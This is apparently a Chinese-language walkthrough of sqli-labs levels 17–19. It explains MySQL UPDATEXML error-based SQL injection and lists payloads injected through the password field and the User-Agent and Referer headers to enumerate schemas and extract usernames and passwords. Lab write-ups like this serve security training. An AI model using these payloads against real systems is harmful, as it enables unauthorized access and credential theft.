补充知识
参考链接:
https://www.jb51.net/article/125599.htm
https://www.jb51.net/article/125607.htm
UPDATEXML (XML_document, XPath_string, new_value);
第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc
第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。
第三个参数:new_value,String格式,替换查找到的符合条件的数据
作用:改变文档中符合条件的节点的值 改变XML_document中符合XPATH_string的值
而我们的注入语句为: select updatexml(1,concat(0x7e,(SELECT username from security.users limit 0,1),0x7e),1);
其中的concat()函数是将其连成一个字符串,因此不会符合XPATH_string的格式,从而出现格式错误
Less-17
首先添加代码,这里与以往不同,有两处
通过登陆观察可以发现,这是一个更新密码的功能
由下图可知,当usename正确时,sql语句中的密码才能显示出来
所以,首先我们需要知道用户的名字才能进行接下来的操作
uname=admin&passwd=a' and updatexml(1,concat(0x7e,(databese())),1)#&submit=Submit
查库 uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1)#&submit=Submit
查表 uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1)#&submit=Submit
查列 uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1)#&submit=Submit
查数据 uname=admin&passwd=a' and updatexml(1,concat(0x7e,(select password from (select password from security.users limit 0,1)users ),0x7e),1)#&submit=Submit
这里需要使用两层select查询,否则会报错
Less-18
添加两段代码
登陆可以发现,登陆成功显示ip地址,sql语句,版本信息
登陆失败只显示ip,如果反复登录失败可能是上一关把密码改了的原因,需要重置数据库,选择Setup/reset Database for labs,重置即可
这一次无法在用户名和密码进行注入,发生了转义
我们使用burpsuit抓包
抓包后,在Headers里修改User-Agent里面,构造注入语句 'or updatexml(1,concat(0x7e,(database())),1) or '1'='1
或者 'or updatexml(1,concat(0x7e,(database())),1) ,",")# (注意最后不是双引号,是两对单引号)
查库 'or updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1) or '1'='1
查表 'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1)),1) or '1'='1
查列 'or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1)),1) or '1'='1
查信息 'or updatexml(1,concat(0x7e,(select username from security.users limit 0,1)),1) or '1'='1
Less-19
通过分析登陆成功的语句,发现语句为inferer
使用burpsuit抓包
其他步骤与上一关相同,构造语句也是相同的